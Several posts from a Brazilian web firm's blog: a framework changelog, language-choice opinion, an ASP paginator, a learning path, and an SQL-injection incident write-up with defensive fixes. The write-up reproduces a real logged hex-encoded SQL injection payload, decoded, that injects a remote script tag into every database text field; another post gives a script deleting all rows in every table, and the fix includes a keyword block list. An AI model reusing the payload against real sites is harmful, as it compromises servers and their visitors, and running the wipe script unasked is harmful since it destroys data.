este é o nosso blog

Aqui você encontrará um conteúdo bastante interessante, sobre temas variádos dentro de tecnologia, informática, internet e claro sobre o dia-a-dia da nossa empresa!

Arquivo da categoria: Linguagens de Programação

Postado por:

CORE QCODO:

  • Correção de erros na geração de código para tabelas customizadas
  • Criação da classe QSiteMaps, para criação de sitemaps de site e projetos
  • Melhorias nos players QJWPlayer 4 e 5 , adição de atributo AutoPlay
  • Atualização do JwPlayer para a versão mais atual da 5
  • Adição de novo skin NORDEN para QJWPlayer5 
  • Adição da classe ApiBase, que será a base de chamadas via WebService, construídos via QCodo
  • Adições de novos ícones
  • Melhoria na QUrlTextbox para aceitar endereços sem o http://
  • Criação do QTabPanel, para abas com CSS para os temas correntes

QCMS:

  • Criação da Classe SelectFile, que é similar ao SelectAlbumImage, mas para selecionar arquivos usando o CKFinder
  • Criação das pastas data_meta_content e data_meta_site_area, para melhor organização dos Meta Object das tabelas content e site_area
  • Limpeza na SeoForm, remoção de funções e códigos não utilizados
  • Melhoria da tela de Conteúdo, divisão em Dados Básicos de Dados de SEO
  • Diversas modificações de banco: vide pasta migrations
  • Criação da Classe MetaType e adição dos tipos básicos de dados
  • Criação da tela de lista e edição de audio no /admin
  • Adaptação do install-php-ini.php para a versão 5.3 da dreamhost
  • Correção de erros das telas de criação e lista de eventos
  • Correção de erros das telas de criação e lista de vídeos

Atenciosamente, 

Raphael Canguçu

 

Postado por:

Essa é uma pergunta frequente que nossos clientes nos pergutam a respeito das tecnologias usadas para desenvolver suas soluções.

E respondemos que tecnicamente (quando olhamos detalhes de conceito) não enxergamos diferenças que possam impactar a escolha de uma ou outra linguagem de programação, pois ambas são orientadas a objetos, possuem excelentes frameworks de desenvolvimentos, as duas escalam, um detalhe ou outro de diferença.

O PHP abre margem maior para que profissionais ruins façam coisas ruins. Mas bons profissionais conseguem os mesmos resultados nas duas ferramentas e profissionais ruins conseguem fazer “cagada” com a melhor ferramenta do mundo.

Enfim, vou explicar que além de ser uma escolha meramente técnica ela é também ancorada financeiramente e impacta diretamente nos custos de um projeto, para isso citarei alguns pontos que nos guiam a escolher a arquitetura LAMP (Linux Apache Mysql PHP) ao invés da arquitetura Microsoft:

  1. Menor custo da Mão de Obra
  2. Menor tempo de desenvolvimento
  3. Menor custo de DataCenter
  4. Escalabilidade futura acessível e barata

 

Muitas pessoas por não conhecerem bem de tecnologia, costumam ter receios a respeito da linguagem de programação PHP, mas esquecem que:

  1. É a linguagem WEB mais usada por desenvolvedores
  2. Consequentemente é a maior comunidade de desenvolvimento e a que mais tem inovações
  3. O Facebook e o Yahoo foram feitos em cima do PHP e MYSQL
  4. O Twitter migrou sua linguagem nativa para o PHP por questões de escalabilidade
  5. A Wikipedia, maior enciclopédia do mundo, é feita usando PHP e MYSQL
  6. A maior rede de blogs do mundo, o WordPress é feito usando PHP

 

Eu costumo dizer que linguagem é somente ferramenta e nós apesar de termos projetos em ASP.NET, Ruby, ASP 3, Java, escolhemos o PHP5 como nossa linguagem padrão de desenvolvimento boa parte pelos itens citados acima.

Seguem algumas referências que balizam nossa opinião:

http://www.davidhurst.co.uk/2009/02/25/famous-websites-that-use-php-andor-mysql/
http://www.techenclave.com/programming/php-architectures-power-your-favourite-big-98227.html
http://www.oreillynet.com/onlamp/blog/2006/04/digg_phps_scalability_and_perf.html
http://www.sitepoint.com/why-php-scales/
http://talks.php.net/show/lt2004-lamp/
http://public.yahoo.com/bfrance/radwin/talks/one-year-of-php-oscon2003.htm
http://www.niallkennedy.com/blog/2004/10/flickr-architec.html
http://www.royans.net/arch/facebook-internals/
http://royal.pingdom.com/2007/02/26/what-the-webs-most-popular-sites-are-running-on/
http://royal.pingdom.com/royalfiles/0702_infrastructure_matrix.pdf

Abraços.

Postado por:

Esses dias estávamos precisando de um paginador descente para ASP Clássica, então resolvemos traduzir um que tinhamos em PHP, que atende muito bem.

<%
intPageCount    = intPageCount
intCurrentPage  = intCurrentPage
intIndexCount   = intIndexCount

strToReturn = “<div class=’paginator’><div class=’base’>”

If (intCurrentPage <= 1) Then
strToReturn = strToReturn &  “<span class=’prev off’><span class=’base’>Anterior</span></span> ”
Else
strToReturn = strToReturn &  “<a class=’prev on’ href=’?intPage=” & (intCurrentPage-1) &”‘><span class=’base’>Anterior</span></a>”
End If

If (intPageCount <= intIndexCount) Then
‘We have less pages than total indexcount — so let’s go ahead
‘and just display all page indexes
For intIndex = 1  To intPageCount
If (intPageNumber = intIndex)  Then
strToReturn = strToReturn & “<span class=’number off active’><span class=’base’>” & intIndex & “</span></span>”
Else
strToReturn = strToReturn & “<a class=’number on’ href=’?intPage=” & (intIndex) &”‘><span class=’base’>” & intIndex &  “</span></a>”
End If
Next
Else

‘Figure Out Constants

intMinimumEndOfBunch = intIndexCount – 2
intMaximumStartOfBunch = intPageCount – intIndexCount + 3

intLeftOfBunchCount = Floor((intIndexCount – 5) / 2)
intRightOfBunchCount = Round((intIndexCount – 5.0) / 2.0)

intLeftBunchTrigger = 4 + intLeftOfBunchCount
intRightBunchTrigger = intMaximumStartOfBunch + Round((intIndexCount – 8.0) / 2.0)

If (intCurrentPage < intLeftBunchTrigger) Then
intPageStart = 1
strStartEllipsis = “”
Else
intPageStart = Min(intMaximumStartOfBunch, intCurrentPage – intLeftOfBunchCount)

strStartEllipsis = “<a class=’number on’ href=’?intPage=1′><span class=’base’>1</span></a>”
strStartEllipsis = strStartEllipsis & “<span class=’ellipsis’><span class=’base’>…</span></span>”
End If

If (intCurrentPage > intRightBunchTrigger) Then
intPageEnd = intPageCount
strEndEllipsis = “”
Else
intPageEnd = Max(intMinimumEndOfBunch, intCurrentPage + intRightOfBunchCount)
strEndEllipsis = “<span class=’ellipsis’><span class=’base’>…</span></span>”

strActionParameter = intPageCount
strEndEllipsis =  strEndEllipsis & “<a class=’number on’ href=’?intPage=” & (intPageCount) &”‘ ><span class=’base’>” & intPageCount & “</span></a>”
End If

strToReturn = strToReturn & strStartEllipsis

For intIndex = intPageStart To intPageEnd
If (intCurrentPage = intIndex) Then
strToReturn = strToReturn & “<span class=’number off active’><span class=’base’>” & intIndex & “</span></span>”
Else
strToReturn =  strToReturn & “<a class=’number on’ href=’?intPage=” & (intIndex) &”‘><span class=’base’>” & intIndex & “</span></a>”
End If
Next

strToReturn = strToReturn & strEndEllipsis
End If

If (intCurrentPage >= intPageCount) Then
strToReturn =  strToReturn & “<span class=’next off’><span class=’base’>Próximo</span></span>”
Else
strToReturn = strToReturn & “<a class=’next on’ href=’?intPage=” & (intCurrentPage + 1) &”‘><span class=’base’>Próximo</span></a>”
End If

strToReturn =  strToReturn & “</div></div>”

‘print paginator
Response.Write strToReturn

Function Ceil( Number )

Ceil = Int( Number )

if Ceil <> Number then

Ceil = Ceil + 1

end if

End Function

Function Floor( Number )

Floor = Int( Number )

End Function

Function Max( v1, v2 )
If v1 >= v2 Then Max = v1 Else Max = v2
End Function

Function Min( v1, v2 )
If v1 <= v2 Then Min = v1 Else Min = v2
End Function

%>

Postado por:

O QCODO é um framework em PHP 5, orientado a objetos (extremamente) que usa-se do mantra “Codifique menos, faça mais” para aumentar a produtividade dos programadores, eliminando o tedioso e repetitivo trabalho, que pode ser facilmente produzido pelo seu gerador de código automático.

Na Codificar, trabalhamos com o QCodo há quase 3 anos e conseguimos excelentes resultados com grande produtividade. Veja alguns de nossos números:

  • 3 anos de vida
  • 100 projetos
  • 3000 solicitações atendidas, dentre elas:
    • 470 erros corrigidos
    • 1620 funcionalidades criadas
    • 420 suportes realizados
    • 470 melhorias aprimoradas

O QCodo propõe-se a transformar esse tipo de bagunça:

Código bagunçado

Em um código MVC, com um controller bem definido, como vemos abaixo:

E um arquivo de template separado, onde será possível implementar a parte visual do site, sem interferência com a camada lógica (de programação).

E o melhor disso, é que a partir da leitura da modelagem do seu banco de dados, o QCodo é capaz de gerar grande parte do Código Burro, automaticamente, eliminando assim o trabalho tedioso e valioso de um bom programador.


Atualmente o Framework conta com vários adaptadores, que interpretam diversas bases como: MySQL, Oracle, SQLite 2 e 3, SQL Server e outros bancos de dados.

Quem já trabalhou com ASP.NET terá bastante facilidade de aprender o QCODO, pois a sua estrutura básica é bastante semelhante, com o conceito de Formulários e Controle, contudo terá toda a facilidade e abertura que um projeto de código aberto permite ao você.

Essa é uma rápida introdução ao framework que trabalhamos na Codificar, espero ter passado bem a mensagem.

Em breve, falaremos mais a respeito do QCODO, com exemplos, vídeos e muito mais…

Postado por:

O primeiro passo seria aprender HTML, que é uma linguagem de markup com o intuito de inserir e posicionar elementos numa página. O html diz para o seu navegador como ele deverá mostrar a página ao visitante.

http://www.w3schools.com/html/html_intro.asp

Depois de uma passada básica em HTML vc deverá conhecer o novo formato, que é o XHTML, que é uma melhoria do HTML. O XHTML é muito mais limpo e estrito que o HTML, possibilitando uma melhor interpretação e mais funcionalidades ao browser.

http://www.w3schools.com/xhtml/default.asp

Depois de criado o XHTML é necessário embelezá-lo e deixá-lo mais adequado aos olhos humanos. Para isso existem as folhas de estilo de uma home page, que é chamado de CSS .

http://www.w3schools.com/css/default.asp

Depois de conhecermos como diagramar e embelezar uma página na web é necessário adicionar algumas funcionalidades nela, validar formulários, manipular o HTML. Para isso foi criado a linguagem Javascript, que permite adicionar funcionalidades na página interagindo com o visitante.

http://www.w3schools.com/js/default.asp

Mas para trabalhar de maneira mais precisa com o javascript e os elementos XHTML é muito importante saber o que é DOM ( Document Object Modeling ), que é toda  estrutura por trás do XHTML, como é realizada a organição no browser e quais funções Javascripts são capazes de realizar toda a manipulação, então é necessário conhecer mais a fundo como manipular o DOM.

http://www.w3schools.com/htmldom/default.asp

Agora já sabemos muito bem como funciona uma página web, como estililzá-la e ainda como manipular de maneira fácil seus elementos. Mas ainda falta uma coisa: Onde irei guardar todos os dados que preciso? Como posso dinamizar muito mais o meu website e permitir maior interação dos visitantes? Para tal, será necessário um servidor e um banco de dados para gerar dados persistentes e provocar interatividade entre os visitantes e o website.

Linguagem que se comunica com o servidor:
http://www.w3schools.com/php/default.asp

Linguagem para se comunicar com o banco de dados:
http://www.w3schools.com/sql/default.asp

Com todos estes tutorias você pode se tornar um excelente desenvolvedor web. =)

Postado por:

Hoje eu estava navegando nas páginas da PBH procurando um sistema web para reemissão de alvará de funcionamento para anos anteriores , pois desde que assumimos a Codificar  (antiga Tecnocom) em 2007 nunca nos notificaram que existia uma pendência na Taxa de Incêndio de 2004. Pendência aliás que está com um valor incorreto, pois as dimensões da empresa estão completamente erradas, quase 10x maior que a verdadeira.

Enfim vamos ao que interessa. Um erro muito comum e cometido por desenvolvedores menos experientes, ou ainda desorganizados é a permissividade de inserção de código malicioso via métodos get e post do protocolo HTTP. Ambos os métodos permitem que uma página web troque informações com um servidor web através de variáveis textuais de maneira muito simples e fácil. Contudo fica como obrigação do desenvolvedor tratar o recebimento dessas variáveis que muitas vezes podem conter código malicioso.

Em linguagens de programação mais modernas e melhores encapsuladas, ou ainda em frameworks que modernizam e melhoram certas LP’s há tratamento destes inputs, coibindo assim o ataque ao site.

O erro que vi no site da PBH já aconteceu alguns de nossos clientes que possuem sites/sistemas desenvolvidos em Linguagem de Programação ASP. Diga-se de passagem que não fomos nós da Codificar que desenvolvemos os sites/sistemas de nossos clientes, somente assumimos a manutenção quando o CIRCO já estava pegando fogo.

Geralmente o erro é explorado da seguinte forma:

  1. Site vulnerável em ASP
  2. Componentes de MDAC desatualizados no servidor windows
  3. Código malicioso inserido por SQL INJECTION utilizando valores hexadecimais que traduzidos correspodem a declaração de um cursor que vai em todos os campos textuais do banco de dados SQL Server e concatenam o código indevido.

Tal erro, além de ser uma falha de programação é também um erro em alguns componentes windows (item 2 acima) que não me lembro bem, mas na época em que ocorreu isso em 2 de nossos clientes que estavam hospedados na locaweb, indicamos a atualização dos mesmos ao suporte da locaweb.

Veja como o ataque é realizado através do log do servidor web onde um cliente da Codificar recebeu esse ataque:

2008-05-27 03:02:11 W3SVC13927 PLESKWIN12 200.23X.XXX.XXX GET /page.asp intIndex=85;DECLARE%20@S%
20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E61647739352E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));

EX3C(@S);– 80 – 77.237.76.98 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) – - www.CLIENTE-CODIFICAR.com.br 200 0 64 0 1413 49151

Segundo o MAXMIND.com site que possui serviços de georeferenciamento de IP’s, o IP 77.237.76.98 está localizado no IRAN:

Hostname Country Code Country Name Region Region Name City Postal Code Latitude Longitude ISP Organization Metro Code Area Code
77.237.76.98 IR Iran, Islamic Republic of 05 Kohkiluyeh va Buyer Ahmadi Gachsaran 30.3586 50.7981 Respina Networks & Beyond Respina Networks & Beyond

Pegando esse trecho em HEXA e transformado para ASCII temos:

DECLARE @T VARCHAR(255)"@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name"b.name FROM sysobjects a"syscolumns b WHERE a.id=b.id AND a.xtype="u" AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T"@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC("UPDATE ["+@T+"] SET ["+@C+"]=RTRIM(CONVERT(
 
VARCHAR(4000)"["+@C+"]))+""<scrip_t src=http://www_adw_95_com/_b.js></fechascript>""")
FETCH NEXT FROM Table_Cursor INTO @T"@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Em tempo de execução da página web esse código é executado alterando todos textos do banco de dados.

Veja como ficou  a página afetada da PBH. (http://www.fazenda.pbh.gov.br/internet/pesquisas/consultas/resultado.asp?BuscaPalavra=alvar%E1&TipoBusca=A)

<table width="100%">
<tbody>
<tr>
<td colspan="2" width="100%" height="22" align="left" valign="top">
 
<hr size="1" noshade="noshade" />
 
</td>
</tr>
<tr>
<td width="15%" height="22" align="left" valign="top"><span style="color: #000000; font-family: Arial; font-size: x-small;"><strong>013/2002<script src="http://www.chinabnr.com/b.js"></script><script src="http://www.bnradw.com/b.js"></script> </strong></span><strong> </strong></td>
<td width="80%" height="22" align="left" valign="top"><span style="color: #000000; font-family: Arial; font-size: x-small;">"ISSQN - PROFISSIONAIS AUTÔNOMOS - OBRIGAÇÕES TRIBUTÁRIAS.Os profissionais autônomos, salvo os isentos do ISSQN, que exercerem suas atividades no território do Município, devem inscrever-se no cadastro mobiliário de contribuintes, recolher o ISSQN devido e comunicar as alterações cadastrais de interesse do fisco, inclusive o encerramento das atividades. Podem sujeitar-se ainda à incidência da Taxa de Fiscalização de Anúncios, se proprietário de engenho de divulgação de publicidade, e da Taxa de Fiscalização Sanitária, caso exerçam atividades que devam submeter-se à fiscalização específica.<script src="http://www.china_bnr_com/b_js">// <![CDATA[
</fecchascript><script src-"http://www_bnradw_com-b-js">
// ]]></script>"</span></td>
<td width="5%" height="22" align="left" valign="top"><span style="color: #000000; font-family: Arial; font-size: x-small;"><a onmouseover="MM_swapImage('Image791','','../../../dividativa/avanca_on.gif',1)" onmouseout="MM_swapImgRestore()" href="resultadoaction.asp?Bookmark=2&amp;BuscaPalavra=alvar%C3%A1&amp;TipoBusca=A"><img src="../../../dividativa/avanca.gif" border="0" alt="" width="16" height="16" /></a></span>
 
&nbsp;</td>
</tr>
</tbody>
</table>

 

Caso tenha um bom anti-virus e peça para visualizar o código fonte dessa página ou ainda entrar na pasta de cache do seu navegar ele irá acusar a presença do código malicioso.

Anteriormente já tinhamos anunciado a solução aqui em nosso blog:

 

  1. Coloque / inclua o script ASP fix_injection nos arquivos que fazem comunicação com o banco de dados, veja o código no post ASP – ANTI SQL INJECTION.
  2. Caso não houve perda dos dados dos campos textuais, use o script SQL de Busca e substituição postado em SEARCH AND REPLACE T-SQL.

Foi enviado um email para webmaster@pbh.gov.br com o link deste post para correção dos erros.

Caso não consiga solucionar o problema , ou possui problemas parecidos com esse de difícil solução em seu sistema/site entre em contato com a Codificar e peça um orçamento através do nosso formulário de contato.

Atenciosamente,

Raphael Canguçu.

Postado por:

Abaixo segue um script para a linguagem ASP – CLASSIC.

Esse arquivo deve ser incluído dentro do arquivo onde é feita a conexão do banco de dados, ou em um include global.

fix_injection.asp

<%
‘  fix_injection.asp

‘  Author: Nazim Lala, Codificar (http://www.codificar.com.br)
‘  Modified Date: 26-05-2008
‘  This is the include file to use with your asp pages to
‘  validate input for SQL injection.

Dim BlackList, ErrorPage


‘  Below is a black list that will block certain SQL commands and
‘  sequences used in SQL injection will help with i\0 putaput sanitization

‘  However this is may not suffice, because:
‘  1) These might not cover all the cases (like encoded characters)
‘  2) This may disallow legitimate input

‘  Creating a raw sql query strings by concatenating user input is
‘  unsafe programming practice. It is advised that you use parameterized
‘  SQL instead. Check http://support.microsoft.com/kb/q164485/ for information
‘  on how to do this using ADO from ASP.

‘  Moreover, you need to also implement a white list for your parameters.
‘  For example, if you are expecting input for a zipcode you should create
‘  a validation rule that will only allow 5 characters in [0-9].

BlackList = Array(“–”, “;”, “/*”, “*/”, “@@”, “@”,_
“char”, “nchar”, “varchar”, “nvarchar”,_
“alter”, “begin”, “cast”, “create”, “cursor”,_
“declare”, “delete”, “drop”, “end”, “exec”,_
“execute”, “fetch”, “insert”, “kill”, “open”,_
“select”, “sys”, “sysobjects”, “syscolumns”,_
“table”, “update”)

‘  Populate the error page you want to redirect to in case the
‘  check fails.

ErrorPage = “/fix_injection/error_page.asp”

”””””””””””””””””””””””””’
‘  This function does not check for encoded characters
‘  since we do not know the form of encoding your application
‘  uses. Add the appropriate logic to deal with encoded characters
‘  in here
”””””””””””””””””””””””””’
Function CheckStringForSQL(str)
On Error Resume Next

Dim lstr

‘ If the string is empty, return true
If ( IsEmpty(str) ) Then
CheckStringForSQL = false
Exit Function
ElseIf ( StrComp(str, “”) = 0 ) Then
CheckStringForSQL = false
Exit Function
End If

lstr = LCase(str)

‘ Check if the string contains any patterns in our
‘ black list
For Each s in BlackList

If ( InStr (lstr, s) <> 0 ) Then
CheckStringForSQL = true
Exit Function
End If

Next

CheckStringForSQL = false

End Function

Public Function CheckString (strEntrada)
Dim objRegExp
Set objRegExp = Server.CreateObject(“VBScript.RegExp”)

Dim strExpressao

strExpressao = “(<\s*/*(script|object|applet|embed|form|img)\s*.*>)” ‘< [/] script ou object ou applet ou embed ou form >
strExpressao = strExpressao & “|” & “(\s+eval\s*\()” ‘ EVAL(
strExpressao = strExpressao & “|” & “(\s+event\s*=)” ‘ Event=
strExpressao = Replace(strExpressao, “<”, “(<|%60|<)”) ‘Garantir < ou < em HTML ENCODE
strExpressao = Replace(strExpressao, “>”, “(>|%62|>)”) ‘Garantir > ou > em HTML ENCODE

objRegExp.IgnoreCase = True ‘Ignorar caixa “ALTA” ou “baixa”
objRegExp.Global = False ‘Para na hora que encontrar (velocidade)

objRegExp.Pattern = strExpressao ‘Define a expressão

CheckString = objRegExp.Test(strEntrada) ‘testa

Set objRegExp = Nothing

End Function

”””””””””””””””””””””””””’
‘  Check forms data
”””””””””””””””””””””””””’
Dim s
For Each s in Request.Form
If ( CheckString(Request.Form(s)) ) Then

‘ Redirect to an error page
Response.Redirect(ErrorPage)

End If
Next

”””””””””””””””””””””””””’
‘  Check query string
”””””””””””””””””””””””””’

For Each s in Request.QueryString
If ( CheckString(Request.QueryString(s)) ) Then

‘ Redirect to error page
Response.Redirect(ErrorPage)

End If

Next

”””””””””””””””””””””””””’
‘  Check cookies
”””””””””””””””””””””””””’

For Each s in Request.Cookies
If ( CheckString(Request.Cookies(s)) ) Then

‘ Redirect to error page
Response.Redirect(ErrorPage)

End If

Next

”””””””””””””””””””””””””’
‘  Add additional checks for input that your application
‘  uses. (for example various request headers your app
‘  might use)
”””””””””””””””””””””””””’

%>

error_page.asp

<%@LANGUAGE=”VBSCRIPT” CODEPAGE=”65001″%>
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>SQL INJECTION</title>
<style type=”text/css”>
<!–
.style1 {color: #FF0000}
–>
</style>
</head>

<body>
<h1 class=”style1″>Tentativa de exploração de falha de segurança!!!</h1>
<p class=”style1″>Verifique os dados inseridos.</p>
</body>
</html>
os Arquivos fix_injection.

Postado por:

Em somente 6 linhas vc limpa todas as tabelas existentes em um banco de dados.

Código do script:

exec sp_MSforeachtable ‘ALTER TABLE ? NOCHECK CONSTRAINT ALL’
exec sp_MSforeachtable ‘ALTER TABLE ? DISABLE TRIGGER ALL’
exec sp_MSforeachtable ‘DELETE ?’
exec sp_MSforeachtable ‘ALTER TABLE ? CHECK CONSTRAINT ALL’
exec sp_MSforeachtable ‘ALTER TABLE ? ENABLE TRIGGER ALL’
exec sp_MSforeachtable ‘IF OBJECTPROPERTY(OBJECT_ID(”?”), ”TableHasIdentity”) = 1 BEGIN DBCC CHECKIDENT (”?”,RESEED,0) END’

Postado por:

Função que faz a busca em todos campos texto de um banco mssql usando a linguagem t-sql:

USO:
EXEC SearchAllTables ‘<LIXO>’
GO

Código da stored procedure:


CREATE PROC SearchAllTables
(
	@SearchStr nvarchar(100)
)
AS
BEGIN

	-- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
	-- Purpose: To search all columns of all tables for a given search string
	-- Written by: Narayana Vyas Kondreddi
	-- Site: http://vyaskn.tripod.com
	-- Tested on: SQL Server 7.0 and SQL Server 2000
	-- Date modified: 28th July 2002 22:50 GMT


	CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))

	SET NOCOUNT ON

	DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)
	SET  @TableName = ''
	SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')

	WHILE @TableName IS NOT NULL
	BEGIN
		SET @ColumnName = ''
		SET @TableName =
		(
			SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
			FROM 	INFORMATION_SCHEMA.TABLES
			WHERE 		TABLE_TYPE = 'BASE TABLE'
				AND	QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
				AND	OBJECTPROPERTY(
						OBJECT_ID(
							QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
							 ), 'IsMSShipped'
						       ) = 0
		)

		WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
		BEGIN
			SET @ColumnName =
			(
				SELECT MIN(QUOTENAME(COLUMN_NAME))
				FROM 	INFORMATION_SCHEMA.COLUMNS
				WHERE 		TABLE_SCHEMA	= PARSENAME(@TableName, 2)
					AND	TABLE_NAME	= PARSENAME(@TableName, 1)
					AND	DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
					AND	QUOTENAME(COLUMN_NAME) > @ColumnName
			)

			IF @ColumnName IS NOT NULL
			BEGIN
				INSERT INTO #Results
				EXEC
				(
					'SELECT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + ', 3630)
					FROM ' + @TableName + ' (NOLOCK) ' +
					' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
				)
			END
		END
	END

	SELECT ColumnName, ColumnValue FROM #Results
END

Postado por:

Função importante em T-SQL para procurar e substituir em todo banco de dados mssql / sql server


USO:


–Substituir “<script src=”sql injection”>” por ‘codificar-purificar’:
EXEC SearchAndReplace ‘
<script src=”sql injection”>‘, ‘codificar-purificar
GO

Código da stored procedure:


CREATE PROC SearchAndReplace
(
	@SearchStr nvarchar(100),
	@ReplaceStr nvarchar(100)
)
AS
BEGIN

	-- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
	-- Purpose: To search all columns of all tables for a given search string and replace it with another string
	-- Written by: Narayana Vyas Kondreddi
	-- Site: http://vyaskn.tripod.com
	-- Tested on: SQL Server 7.0 and SQL Server 2000
	-- Date modified: 2nd November 2002 13:50 GMT

	SET NOCOUNT ON

	DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @SQL nvarchar(4000), @RCTR int
	SET  @TableName = ''
	SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
	SET @RCTR = 0

	WHILE @TableName IS NOT NULL
	BEGIN
		SET @ColumnName = ''
		SET @TableName =
		(
			SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
			FROM 	INFORMATION_SCHEMA.TABLES
			WHERE 		TABLE_TYPE = 'BASE TABLE'
				AND	QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
				AND	OBJECTPROPERTY(
						OBJECT_ID(
							QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
							 ), 'IsMSShipped'
						       ) = 0
		)

		WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
		BEGIN
			SET @ColumnName =
			(
				SELECT MIN(QUOTENAME(COLUMN_NAME))
				FROM 	INFORMATION_SCHEMA.COLUMNS
				WHERE 		TABLE_SCHEMA	= PARSENAME(@TableName, 2)
					AND	TABLE_NAME	= PARSENAME(@TableName, 1)
					AND	DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
					AND	QUOTENAME(COLUMN_NAME) > @ColumnName
			)

			IF @ColumnName IS NOT NULL
			BEGIN
				SET @SQL=	'UPDATE ' + @TableName +
						' SET ' + @ColumnName
						+ ' =  REPLACE(' + @ColumnName + ', '
						+ QUOTENAME(@SearchStr, '''') + ', ' + QUOTENAME(@ReplaceStr, '''') +
						') WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
				EXEC (@SQL)
				SET @RCTR = @RCTR + @@ROWCOUNT
			END
		END
	END

	SELECT 'Replaced ' + CAST(@RCTR AS varchar) + ' occurence(s)' AS 'Outcome'
END

© copyright 2011 Codificar Sistemas Tecnológicos | Todos os direitos reservados.